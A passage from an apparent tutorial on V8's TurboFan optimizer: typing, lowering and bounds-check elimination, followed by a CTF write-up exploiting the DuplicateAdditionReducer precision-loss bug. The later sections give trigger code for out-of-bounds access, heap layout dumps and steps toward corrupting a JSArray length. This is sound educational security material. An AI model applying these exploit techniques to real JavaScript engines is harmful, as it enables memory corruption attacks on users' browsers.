easy. We simply read TypeNumberConstant. In most case, the type will be Range. What about those SpeculativeNumberAdd now? We need to look at the OperationTyper. #define SPECULATIVE_NUMBER_BINOP(Name) \ Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \ lhs = SpeculativeToNumber(lhs); \ rhs = SpeculativeToNumber(rhs); \ return Name(lhs, rhs); \ } SPECULATIVE_NUMBER_BINOP(NumberAdd) #undef SPECULATIVE_NUMBER_BINOP Type OperationTyper::SpeculativeToNumber(Type type) { return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone())); } They end-up being reduced by OperationTyper::NumberAdd(Type lhs, Type rhs) (the return Name(lhs,rhs) becomes return NumberAdd(lhs, rhs) after pre-processing). To get the types of the right input node and the left input node, we call SpeculativeToNumber on both of them. To keep it simple, any kind of Type::Number will remain the same type (a PlainNumber being a Number, it will stay a PlainNumber). The Range(n,n) type will become a Number as well so that we end-up calling NumberAdd on two Number. NumberAdd mostly checks for some corner cases like if one of the two types is a MinusZero for instance. In most cases, the function will simply return the PlainNumber type. Okay done for the Typer phase! To sum up, everything happened in : - Typer::Visitor::JSCallTyper - OperationTyper::SpeculativeNumberAdd And this is how types are treated : - The type of JSCall(MathRandom) becomes a PlainNumber, - The type of NumberConstant[n] with n != NaN & n != -0 becomes a Range(n,n) - The type of a Range(n,n) is PlainNumber - The type of SpeculativeNumberAdd(PlainNumber, PlainNumber) is PlainNumber Now the graph looks like this : Type lowering In OptimizeGraph, the type lowering comes right after the typing. // pipeline.cc Run<TyperPhase>(data->CreateTyper()); RunPrintAndVerify(TyperPhase::phase_name()); Run<TypedLoweringPhase>(); RunPrintAndVerify(TypedLoweringPhase::phase_name()); This phase goes through even more reducers. // pipeline.cc TypedOptimization typed_optimization(&graph_reducer, data->dependencies(), data->jsgraph(), data->broker()); // [...] AddReducer(data, &graph_reducer, &dead_code_elimination); AddReducer(data, &graph_reducer, &create_lowering); AddReducer(data, &graph_reducer, &constant_folding_reducer); AddReducer(data, &graph_reducer, &typed_lowering); AddReducer(data, &graph_reducer, &typed_optimization); AddReducer(data, &graph_reducer, &simple_reducer); AddReducer(data, &graph_reducer, &checkpoint_elimination); AddReducer(data, &graph_reducer, &common_reducer); Let's have a look at the TypedOptimization and more specifically TypedOptimization::Reduce. When a node is visited and its opcode is IrOpcode::kSpeculativeNumberAdd, it calls ReduceSpeculativeNumberAdd. Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) { Node* const lhs = NodeProperties::GetValueInput(node, 0); Node* const rhs = NodeProperties::GetValueInput(node, 1); Type const lhs_type = NodeProperties::GetType(lhs); Type const rhs_type = NodeProperties::GetType(rhs); NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNumber(y)) Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node* const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(node); } return NoChange(); } In the case of our two nodes, both have a hint of NumberOperationHint::kNumber because their type is a PlainNumber. Both the right and left hand side types are PlainPrimitive (PlainNumber from the NumberConstant's Range and PlainNumber from the JSCall). Therefore, a new NumberAdd node is created and replaces the SpeculativeNumberAdd. Similarly, there is a JSTypedLowering::ReduceJSCall called when the JSTypedLowering reducer is visiting a JSCall node. Because the call target is a Code Stub Assembler implementation of a builtin function, TurboFan simply creates a LoadField node and change the opcode of the JSCall node to a Call opcode. It also adds new inputs to this node. Reduction JSTypedLowering::ReduceJSCall(Node* node) { // [...] // Check if {target} is a known JSFunction. // [...] // Load the context from the {target}. Node* context = effect = graph()->NewNode( simplified()->LoadField(AccessBuilder::ForJSFunctionContext()), target, effect, control); NodeProperties::ReplaceContextInput(node, context); // Update the effect dependency for the {node}. NodeProperties::ReplaceEffectInput(node, effect); // [...] // kMathRandom is a CSA builtin, not a CPP one // builtins-math-gen.cc:TF_BUILTIN(MathRandom, CodeStubAssembler) // builtins-definitions.h: TFJ(MathRandom, 0, kReceiver) } else if (shared.HasBuiltinId() && Builtins::HasCppImplementation(shared.builtin_id())) { // Patch {node} to a direct CEntry call. ReduceBuiltin(jsgraph(), node, shared.builtin_id(), arity, flags); } else if (shared.HasBuiltinId() && Builtins::KindOf(shared.builtin_id()) == Builtins::TFJ) { // Patch {node} to a direct code object call. Callable callable = Builtins::CallableFor( isolate(), static_cast<Builtins::Name>(shared.builtin_id())); CallDescriptor::Flags flags = CallDescriptor::kNeedsFrameState; const CallInterfaceDescriptor& descriptor = callable.descriptor(); auto call_descriptor = Linkage::GetStubCallDescriptor( graph()->zone(), descriptor, 1 + arity, flags); Node* stub_code = jsgraph()->HeapConstant(callable.code()); node->InsertInput(graph()->zone(), 0, stub_code); // Code object. node->InsertInput(graph()->zone(), 2, new_target); node->InsertInput(graph()->zone(), 3, argument_count); NodeProperties::ChangeOp(node, common()->Call(call_descriptor)); } // [...] return Changed(node); } Let's quickly check the sea of nodes to indeed observe the addition of the LoadField and the change of opcode of the node #25 (note that it is the same node as before, only the opcode changed). Range types Previously, we encountered various types including the Range type. However, it was always the case of Range(n,n) of size 1. Now let's consider the following code : function opt_me(b) { let x = 10; // [1] x0 = 10 if (b == "foo") x = 5; // [2] x1 = 5 // [3] x2 = phi(x0, x1) let y = x + 2; y = y + 1000; y = y * 2; return y; } So depending on b == "foo" being true or false, x will be either 10 or 5. In SSA form, each variable can be assigned only once. So x0 and x1 will be created for 10 and 5 at lines [1] and [2]. At line [3], the value of x (x2 in SSA) will be either x0 or x1, hence the need of a phi function. The statement x2 = phi(x0,x1) means that x2 can take the value of either x0 or x1. So what about types now? The type of the constant 10 (x0) is Range(10,10) and the range of constant 5 (x1) is Range(5,5). Without surprise, the type of the phi node is the union of the two ranges which is Range(5,10). Let's quickly draw a CFG graph in SSA form with typing. Okay, let's actually check this by reading the code. Type Typer::Visitor::TypePhi(Node* node) { int arity = node->op()->ValueInputCount(); Type type = Operand(node, 0); for (int i = 1; i < arity; ++i) { type = Type::Union(type, Operand(node, i), zone()); } return type; } The code looks exactly as we would expect it to be: simply the union of all of the input types! To understand the typing of the SpeculativeSafeIntegerAdd nodes, we need to go back to the OperationTyper implementation. In the case of SpeculativeSafeIntegerAdd(n,m), TurboFan does an AddRange(n.Min(), n.Max(), m.Min(), m.Max()). Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) { Type result = SpeculativeNumberAdd(lhs, rhs); // If we have a Smi or Int32 feedback, the representation selection will // either truncate or it will check the inputs (i.e., deopt if not int32). // In either case the result will be in the safe integer range, so we // can bake in the type here. This needs to be in sync with // SimplifiedLowering::VisitSpeculativeAdditiveOp. return Type::Intersect(result, cache_->kSafeIntegerOrMinusZero, zone()); } Type OperationTyper::NumberAdd(Type lhs, Type rhs) { // [...] Type type = Type::None(); lhs = Type::Intersect(lhs, Type::PlainNumber(), zone()); rhs = Type::Intersect(rhs, Type::PlainNumber(), zone()); if (!lhs.IsNone() && !rhs.IsNone()) { if (lhs.Is(cache_->kInteger) && rhs.Is(cache_->kInteger)) { type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max()); } // [...] return type; } AddRanger is the function that actually computes the min and max bounds of the Range. Type OperationTyper::AddRanger(double lhs_min, double lhs_max, double rhs_min, double rhs_max) { double results[4]; results[0] = lhs_min + rhs_min; results[1] = lhs_min + rhs_max; results[2] = lhs_max + rhs_min; results[3] = lhs_max + rhs_max; // Since none of the inputs can be -0, the result cannot be -0 either. // However, it can be nan (the sum of two infinities of opposite sign). // On the other hand, if none of the "results" above is nan, then the // actual result cannot be nan either. int nans = 0; for (int i = 0; i < 4; ++i) { if (std::isnan(results[i])) ++nans; } if (nans == 4) return Type::NaN(); Type type = Type::Range(array_min(results, 4), array_max(results, 4), zone()); if (nans > 0) type = Type::Union(type, Type::NaN(), zone()); // Examples: // [-inf, -inf] + [+inf, +inf] = NaN // [-inf, -inf] + [n, +inf] = [-inf, -inf] \/ NaN // [-inf, +inf] + [n, +inf] = [-inf, +inf] \/ NaN // [-inf, m] + [n, +inf] = [-inf, +inf] \/ NaN return type; } Done with the range analysis! CheckBounds nodes Our final experiment deals with CheckBounds nodes. Basically, nodes with a CheckBounds opcode add bound checks before loads and stores. Consider the following code : function opt_me(b) { let values = [42,1337]; // HeapConstant <FixedArray[2]> let x = 10; // NumberConstant[10] | Range(10,10) if (b == "foo") x = 5; // NumberConstant[5] | Range(5,5) // Phi | Range(5,10) let y = x + 2; // SpeculativeSafeIntegerAdd | Range(7,12) y = y + 1000; // SpeculativeSafeIntegerAdd | Range(1007,1012) y = y * 2; // SpeculativeNumberMultiply | Range(2014,2024) y = y & 10; // SpeculativeNumberBitwiseAnd | Range(0,10) y = y / 3; // SpeculativeNumberDivide | PlainNumber[r][s][t] y = y & 1; // SpeculativeNumberBitwiseAnd | Range(0,1) return values[y]; // CheckBounds | Range(0,1) } In order to prevent values[y] from using an out of bounds index, a CheckBounds node is generated. Here is what the sea of nodes graph looks like right after the escape analysis phase. The cautious reader probably noticed something interesting about the range analysis. The type of the CheckBounds node is Range(0,1)! And also, the LoadElement has an input FixedArray HeapConstant of length 2. That leads us to an interesting phase: the simplified lowering. Simplified lowering When visiting a node with a IrOpcode::kCheckBounds opcode, the function VisitCheckBounds is going to get called. And this function, is responsible for CheckBounds elimination which sounds interesting! Long story short, it compares inputs 0 (index) and 1 (length). If the index's minimum range value is greater than zero (or equal to) and its maximum range value is less than the length value, it triggers a DeferReplacement which means that the CheckBounds node eventually will be removed! void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) { CheckParameters const& p = CheckParametersOf(node->op()); Type const index_type = TypeOf(node->InputAt(0)); Type const length_type = TypeOf(node->InputAt(1)); if (length_type.Is(Type::Unsigned31())) { if (index_type.Is(Type::Integral32OrMinusZero())) { // Map -0 to 0, and the values in the [-2^31,-1] range to the // [2^31,2^32-1] range, which will be considered out-of-bounds // as well, because the {length_type} is limited to Unsigned31. VisitBinop(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower()) { if (lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison && (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()))) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. DeferReplacement(node, node->InputAt(0)); } else { NodeProperties::ChangeOp( node, simplified()->CheckedUint32Bounds(p.feedback())); } } // [...] } Once again, let's confirm that by playing with the graph. We want to look at the CheckBounds before the simplified lowering and observe its inputs. We can easily see that Range(0,1).Max() < 2 and Range(0,1).Min() >= 0. Therefore, node 58 is going to be replaced as proven useless by the optimization passes analysis. After simplified lowering, the graph looks like this : Playing with various addition opcodes If you look at the file stopcode.h we can see various types of opcodes that correspond to some kind of add primitive. V(JSAdd) V(NumberAdd) V(SpeculativeNumberAdd) V(SpeculativeSafeIntegerAdd) V(Int32Add) // many more [...] So, without going into too much details we're going to do one more experiment. Let's make small snippets of code that generate each one of these opcodes. For each one, we want to confirm we've got the expected opcode in the sea of node. SpeculativeSafeIntegerAdd let opt_me = (x) => { return x + 1; } for (var i = 0; i < 0x10000; ++i) opt_me(i); %DebugPrint(opt_me); %SystemBreak(); In this case, TurboFan speculates that x will be an integer. This guess is made due to the type feedback we mentioned earlier. Indeed, before kicking out TurboFan, v8 first quickly generates ignition bytecode that gathers type feedback. $ d8 speculative_safeintegeradd.js --allow-natives-syntax --print-bytecode --print-bytecode-filter opt_me [generated bytecode for function: opt_me] Parameter count 2 Frame size 0 13 E> 0xceb2389dc72 @ 0 : a5 StackCheck 24 S> 0xceb2389dc73 @ 1 : 25 02 Ldar a0 33 E> 0xceb2389dc75 @ 3 : 40 01 00 AddSmi [1], [0] 37 S> 0xceb2389dc78 @ 6 : a9 Return Constant pool (size = 0) Handler Table (size = 0) The x + 1 statement is represented by the AddSmi ignition opcode. If you want to know more, Franziska Hinkelmann wrote a blog post about ignition bytecode. Let's read the code to quickly understand the semantics. // Adds an immediate value <imm> to the value in the accumulator. IGNITION_HANDLER(AddSmi, InterpreterBinaryOpAssembler) { BinaryOpSmiWithFeedback(&BinaryOpAssembler::Generate_AddWithFeedback); } This code means that everytime this ignition opcode is executed, it will gather type feedback to to enable TurboFan’s speculative optimizations. We can examine the type feedback vector (which is the structure containing the profiling data) of a function by using %DebugPrint or the job gdb command on a tagged pointer to a FeedbackVector. DebugPrint: 0x129ab460af59: [Function] // [...] - feedback vector: 0x1a5d13f1dd91: [FeedbackVector] in OldSpace // [...] gef➤ job 0x1a5d13f1dd91 0x1a5d13f1dd91: [FeedbackVector] in OldSpace // ... - slot #0 BinaryOp BinaryOp:SignedSmall { // actual type feedback [0]: 1 } Thanks to this profiling, TurboFan knows it can generate a SpeculativeSafeIntegerAdd. This is exactly the reason why it is called speculative optimization (TurboFan makes guesses, assumptions, based on this profiling). However, once optimized, if opt_me is called with a completely different parameter type, there would be a deoptimization. SpeculativeNumberAdd let opt_me = (x) => { return x + 1000000000000; } opt_me(42); %OptimizeFunctionOnNextCall(opt_me); opt_me(4242); If we modify a bit the previous code snippet and use a higher value that can't be represented by a small integer (Smi), we'll get a SpeculativeNumberAdd instead. TurboFan speculates about the type of x and relies on type feedback. Int32Add let opt_me= (x) => { let y = x ? 10 : 20; return y + 100; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); At first, the addition y + 100 relies on speculation. Thus, the opcode SpeculativeSafeIntegerAdd is being used. However, during the simplified lowering phase, TurboFan understands that y + 100 is always going to be an addition between two small 32 bits integers, thus lowering the node to a Int32Add. Before After JSAdd let opt_me = (x) => { let y = x ? ({valueOf() { return 10; }}) : ({[Symbol.toPrimitive]() { return 20; }}); return y + 1; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); In this case, y is a complex object and we need to call a slow JSAdd opcode to deal with this kind of situation. NumberAdd let opt_me = (x) => { let y = x ? 10 : 20; return y + 1000000000000; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); Like for the SpeculativeNumberAdd example, we add a value that can't be represented by an integer. However, this time there is no speculation involved. There is no need for any kind of type feedback since we can guarantee that y is an integer. There is no way to make y anything other than an integer. The DuplicateAdditionReducer challenge The DuplicateAdditionReducer written by Stephen Röttger for Google CTF 2018 is a nice TurboFan challenge that adds a new reducer optimizing cases like x + 1 + 1. Understanding the reduction Let’s read the relevant part of the code. Reduction DuplicateAdditionReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kNumberAdd: return ReduceAddition(node); default: return NoChange(); } } Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2); Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); // [1] } Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [2] } Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [3] } double const1 = OpParameter<double>(right->op()); double const2 = OpParameter<double>(parent_right->op()); Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node); // [4] } Basically that means we've got 4 different code paths (read the code comments) when reducing a NumberAdd node. Only one of them leads to a node change. Let's draw a schema representing all of those cases. Nodes in red to indicate they don't satisfy a condition, leading to a return NoChange. The case [4] will take both NumberConstant's double value and add them together. It will create a new NumberConstant node with a value that is the result of this addition. The node's right input will become the newly created NumberConstant while the left input will be replaced by the left parent's left input. Understanding the bug Precision loss with IEEE-754 doubles V8 represents numbers using IEEE-754 doubles. That means it can encode integers using 52 bits. Therefore the maximum value is pow(2,53)-1 which is 9007199254740991. Number above this value can't all be represented. As such, there will be precision loss when computing with values greater than that. A quick experiment in JavaScript can demonstrate this problem where we can get to strange behaviors. d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> x 9007199254740992 d8> x + 1 9007199254740992 d8> 9007199254740993 == 9007199254740992 true d8> x + 2 9007199254740994 d8> x + 3 9007199254740996 d8> x + 4 9007199254740996 d8> x + 5 9007199254740996 d8> x + 6 9007199254740998 Let's try to better understand this. 64 bits IEEE 754 doubles are represented using a 1-bit sign, 11-bit exponent and a 52-bit mantissa. When using the normalized form (exponent is non null), to compute the value, simply follow the following formula. value = (-1)^sign * 2^(e) * fraction e = 2^(exponent - bias) bias = 1024 (for 64 bits doubles) fraction = bit52*2^-0 + bit51*2^-1 + .... bit0*2^52 So let's go through a few computation ourselves. d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0ddd0 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0ddd8 0x433fffffffffffff d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0aec0 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0aec8 0x4340000000000000 d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0de88 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0de90 0x4340000000000001 For each number, we'll have the following computation. You can try the computations using links 1, 2 and 3. As you see, the precision loss is inherent to the way IEEE-754 computations are made. Even though we incremented the binary value, the corresponding real number was not incremented accordingly. It is impossible to represent the value 9007199254740993 using IEEE-754 doubles. That's why it is not possible to increment 9007199254740992. You can however add 2 to 9007199254740992 because the result can be represented! That means that x += 1; x += 1; may not be equivalent to x += 2. And that might be an interesting behaviour to exploit. d8> var x = Number.MAX_SAFE_INTEGER + 1 9007199254740992 d8> x + 1 + 1 9007199254740992 d8> x + 2 9007199254740994 Therefore, those two graphs are not equivalent. Furthermore, the reducer does not update the type of the changed node. That's why it is going to be 'incorrectly' typed with the old Range(9007199254740992,9007199254740992), from the previous Typer phase, instead of Range(9007199254740994,9007199254740994) (even though the problem is that really, we cannot take for granted that there is no precision loss while computing m+n and therefore x += n; x += n; may not be equivalent to x += (n + n)). There is going to be a mismatch between the addition result 9007199254740994 and the range type with maximum value of 9007199254740992. What if we can use this buggy range analysis to get to reduce a CheckBounds node during the simplified lowering phase in a way that it would remove it? It is actually possible to trick the CheckBounds simplified lowering visitor into comparing an incorrect index Range to the length so that it believes that the index is in bounds when in reality it is not. Thus removing what seemed to be a useless bound check. Let's check this by having yet another look at the sea of nodes! First consider the following code. let opt_me = (x) => { let arr = new Array(1.1,1.2,1.3,1.4); arr2 = new Array(42.1,42.0,42.0); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // maximum value : 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1; // 9007199254740992 + 1 + 1 = 9007199254740992 + 1 = 9007199254740992 // replaced by 9007199254740992+2=9007199254740994 because of the incorrect reduction z = z - (4503599627370495*2); // max = 2 vs actual max = 4 return arr[z]; } opt_me(""); %OptimizeFunctionOnNextCall(opt_me); let res = opt_me("foo"); print(res); We do get a graph that looks exactly like the problematic drawing we showed before. Instead of getting two NumberAdd(x,1), we get only one with NumberAdd(x,2), which is not equivalent. The maximum value of z will be the following : d8> var x = 9007199254740992 d8> x = x + 2 // because of the buggy reducer! 9007199254740994 d8> x = x - (4503599627370495*2) 4 However, the index range used when visiting CheckBounds during simplified lowering will be computed as follows : d8> var x = 9007199254740992 d8> x = x + 1 9007199254740992 d8> x = x + 1 9007199254740992 d8> x = x - (4503599627370495*2) 2 Confirm that by looking at the graph. The index type used by CheckBounds is Range(0,2)(but in reality, its value can be up to 4) whereas the length type is Range(4,4). Therefore, the index looks to be always in bounds, making the CheckBounds disappear. In this case, we can load/store 8 or 16 bytes further (length is 4, we read at index 4. You could also have an array of length 3 and read at index 3 or 4.). Actually, if we execute the script, we get some OOB access and leak memory! $ d8 trigger.js --allow-natives-syntax 3.0046854007112e-310 Exploitation Now that we understand the bug, we may want to improve our primitive. For instance, it would be interesting to get the ability to read and write more memory. Improving the primitive One thing to try is to find a value such that the difference between x + n + n and x + m (with m = n + n and x = Number.MAX_SAFE_INTEGER + 1) is big enough. For instance, replacing x + 007199254740989 + 9007199254740966 by x + 9014398509481956 gives us an out of bounds by 4 and not 2 anymore. d8> sum = 007199254740989 + 9007199254740966 x + 9014398509481956 d8> a = x + sum 18021597764222948 d8> b = x + 007199254740989 + 9007199254740966 18021597764222944 d8> a - b 4 And what if we do multiple additions to get even more precision loss? Like x + n + n + n + n to be transformed as x + 4n? d8> var sum = 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966 undefined d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> x + sum 27035996273704904 d8> x + 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966 27035996273704896 d8> 27035996273704904 - 27035996273704896 8 Now we get a delta of 8. Or maybe we could amplify even more the precision loss using other operators? d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> 10 * (x + 1 + 1) 90071992547409920 d8> 10 * (x + 2) 90071992547409940 That gives us a delta of 20 because precision_loss * 10 = 20 and the precision loss is of 2. Step 0 : Corrupting a FixedDoubleArray First, we want to observe the memory layout to know what we are leaking and what we want to overwrite exactly. For that, I simply use my custom %DumpObjects v8 runtime function. Also, I use an ArrayBuffer with two views: one Float64Array and one BigUint64Array to easily convert between 64 bits floats and 64 bits integers. let ab = new ArrayBuffer(8); let fv = new Float64Array(ab); let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0]; } let hexprintablei = (i) => { return (i).toString(16).padStart(16,"0"); } let debug = (x,z, leak) => { print("oob index is " + z); print("length is " + x.length); print("leaked 0x" + hexprintablei(f2i(leak))); %DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements }; let opt_me = (x) => { let arr = new Array(1.1,1.2,1.3); arr2 = new Array(42.1,42.0,42.0); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1; z = z - (4503599627370495*2); let leak = arr[z]; if (x == "foo") debug(arr,z, leak); return leak; } opt_me(""); %OptimizeFunctionOnNextCall(opt_me); let res = opt_me("foo"); That gives the following results : oob index is 4 length is 3 leaked 0x0000000300000000 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00002e5fddf8b6a8 0x00002af7fe681451 MAP_TYPE 0x00002e5fddf8b6b0 0x0000000300000000 0x00002e5fddf8b6b8 0x3ff199999999999a arr[0] 0x00002e5fddf8b6c0 0x3ff3333333333333 arr[1] 0x00002e5fddf8b6c8 0x3ff4cccccccccccd arr[2] ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00002e5fddf8b6d0 0x00002af7fe681451 MAP_TYPE // also arr[3] 0x00002e5fddf8b6d8 0x0000000300000000 arr[4] with OOB index! 0x00002e5fddf8b6e0 0x40450ccccccccccd arr2[0] == 42.1 0x00002e5fddf8b6e8 0x4045000000000000 arr2[1] == 42.0 0x00002e5fddf8b6f0 0x4045000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x00002e5fddf8b6f8 0x0000290fb3502cf1 MAP_TYPE arr2 JSArray 0x00002e5fddf8b700 0x00002af7fe680c19 FIXED_ARRAY_TYPE [as] 0x00002e5fddf8b708 0x00002e5fddf8b6d1 FIXED_DOUBLE_ARRAY_TYPE Obviously, both FixedDoubleArray of arr and arr2 are contiguous. At arr[3] we've got arr2's map and at arr[4] we've got arr2's elements length (encoded as an Smi, which is 32 bits even on 64 bit platforms). Please note that we changed a little bit the trigger code : < let arr = new Array(1.1,1.2,1.3,1.4); --- > let arr = new Array(1.1,1.2,1.3); Otherwise we would read/write the map instead, as demonstrates the following dump : oob index is 4 length is 4 leaked 0x0000057520401451 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x30 ] ----- 0x0000108bcf50b6c0 0x0000057520401451 MAP_TYPE 0x0000108bcf50b6c8 0x0000000400000000 0x0000108bcf50b6d0 0x3ff199999999999a arr[0] == 1.1 0x0000108bcf50b6d8 0x3ff3333333333333 arr[1] 0x0000108bcf50b6e0 0x3ff4cccccccccccd arr[2] 0x0000108bcf50b6e8 0x3ff6666666666666 arr[3] == 1.3 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x0000108bcf50b6f0 0x0000057520401451 MAP_TYPE arr[4] with OOB index! 0x0000108bcf50b6f8 0x0000000300000000 0x0000108bcf50b700 0x40450ccccccccccd 0x0000108bcf50b708 0x4045000000000000 0x0000108bcf50b710 0x4045000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000108bcf50b718 0x00001dd08d482cf1 MAP_TYPE 0x0000108bcf50b720 0x0000057520400c19 FIXED_ARRAY_TYPE Step 1 : Corrupting a JSArray and leaking an ArrayBuffer's backing store The problem with step 0 is that we merely overwrite the FixedDoubleArray's length ... which is pretty useless because it is not the field actually controlling the JSArray’s length the way we expect it, it just gives information about the memory allocated for the fixed array. Actually, the only length we want to corrupt is the one from the JSArray. Indeed, the length of the JSArray is not necessarily the same as the length of the underlying FixedArray (or FixedDoubleArray). Let's quickly check that. d8> let a = new Array(0); undefined d8> a.push(1); 1 d8> %DebugPrint(a) DebugPrint: 0xd893a90aed1: [JSArray] - map: 0x18bbbe002ca1 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1cf26798fdb1 <JSArray[0]> - elements: 0x0d893a90d1c9 <FixedArray[17]> [HOLEY_SMI_ELEMENTS] - length: 1 - properties: 0x367210500c19 <FixedArray[0]> { #length: 0x0091daa801a1 <AccessorInfo> (const accessor descriptor) } - elements: 0x0d893a90d1c9 <FixedArray[17]> { 0: 1 1-16: 0x3672105005a9 <the_hole> } In this case, even though the length of the JSArray is 1, the underlying FixedArray as a length of 17, which is just fine! But that is something that you want to keep in mind. If you want to get an OOB R/W primitive that's the JSArray's length that you want to overwrite. Also if you were to have an out-of-bounds access on such an array, you may want to check that the size of the underlying fixed array is not too big. So, let's tweak a bit our code to target the JSArray's length! If you look at the memory dump, you may think that having the allocated JSArray before the FixedDoubleArray mightbe convenient, right? Right now the layout is: FIXED_DOUBLE_ARRAY_TYPE FIXED_DOUBLE_ARRAY_TYPE JS_ARRAY_TYPE Let's simply change the way we are allocating the second array. 23c23 < arr2 = new Array(42.1,42.0,42.0); --- > arr2 = Array.of(42.1,42.0,42.0); Now we have the following layout FIXED_DOUBLE_ARRAY_TYPE JS_ARRAY_TYPE FIXED_DOUBLE_ARRAY_TYPE oob index is 4 length is 3 leaked 0x000009d6e6600c19 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x000032adcd10b6b8 0x000009d6e6601451 MAP_TYPE 0x000032adcd10b6c0 0x0000000300000000 0x000032adcd10b6c8 0x3ff199999999999a arr[0] 0x000032adcd10b6d0 0x3ff3333333333333 arr[1] 0x000032adcd10b6d8 0x3ff4cccccccccccd arr[2] ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x000032adcd10b6e0 0x000009b41ff82d41 MAP_TYPE map arr[3] 0x000032adcd10b6e8 0x000009d6e6600c19 FIXED_ARRAY_TYPE properties arr[4] 0x000032adcd10b6f0 0x000032adcd10b729 FIXED_DOUBLE_ARRAY_TYPE elements 0x000032adcd10b6f8 0x0000000300000000 Cool, now we are able to access the JSArray instead of the FixedDoubleArray. However, we're accessing its properties field. Thanks to the precision loss when transforming +1+1 into +2 we get a difference of 2 between the computations. If we get a difference of 4, we'll be at the right offset. Transforming +1+1+1 into +3 will give us this! d8> x + 1 + 1 + 1 9007199254740992 d8> x + 3 9007199254740996 26c26 < z = z + 1 + 1; --- > z = z + 1 + 1 + 1; Now we are able to read/write the JSArray's length. oob index is 6 length is 3 leaked 0x0000000300000000 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x000004144950b6e0 0x00001b7451b01451 MAP_TYPE 0x000004144950b6e8 0x0000000300000000 0x000004144950b6f0 0x3ff199999999999a // arr[0] 0x000004144950b6f8 0x3ff3333333333333 0x000004144950b700 0x3ff4cccccccccccd ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x000004144950b708 0x0000285651602d41 MAP_TYPE 0x000004144950b710 0x00001b7451b00c19 FIXED_ARRAY_TYPE 0x000004144950b718 0x000004144950b751 FIXED_DOUBLE_ARRAY_TYPE 0x000004144950b720 0x0000000300000000 // arr[6] Now to leak the ArrayBuffer's data, it's very easy. Just allocate it right after the second JSArray. let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays ab = new ArrayBuffer(AB_LENGTH); This way, we get the following memory layout : ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00003a4d7608bb48 0x000023fe25c01451 MAP_TYPE 0x00003a4d7608bb50 0x0000000300000000 0x00003a4d7608bb58 0x3ff199999999999a arr[0] 0x00003a4d7608bb60 0x3ff199999999999a 0x00003a4d7608bb68 0x3ff199999999999a 